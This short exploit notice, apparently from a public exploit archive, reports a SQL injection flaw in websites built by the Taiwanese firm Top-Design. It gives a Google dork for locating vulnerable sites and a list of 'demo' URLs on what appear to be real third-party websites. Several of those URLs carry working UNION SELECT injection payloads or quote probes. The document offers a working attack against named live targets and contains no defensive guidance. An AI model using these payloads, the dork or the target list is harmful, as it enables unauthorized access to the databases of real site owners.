###################### # Exploit Title : Top-Design SQL injection Vulnerability # Exploit Author : Ashiyane Digital Security Team # Vendor Homepage : http://www.top-design.com.tw/ # Google Dork : intext:"Designed by Top-Design" inurl:product_detail.php # Date: 2016 27 October # Tested On : Win 10 / Google Chrome / Mozilla Firefox # ###################### # demos : # http://www.driveline.com.tw/_en/product_detail.php?id=81 # http://www.coloury.com/product_detail.php?id=-52+union+select+1,2,version(),4,5,6,7,8,9--%20- # http://xn--93q60g.tw/product_detail.php?id=-122+union+select+1,2,version(),4,5,6,7,8,9--%20- # http://www.antarctica.com.tw/product_detail.php?id=1167%27 ###################### # discovered by : modiret ######################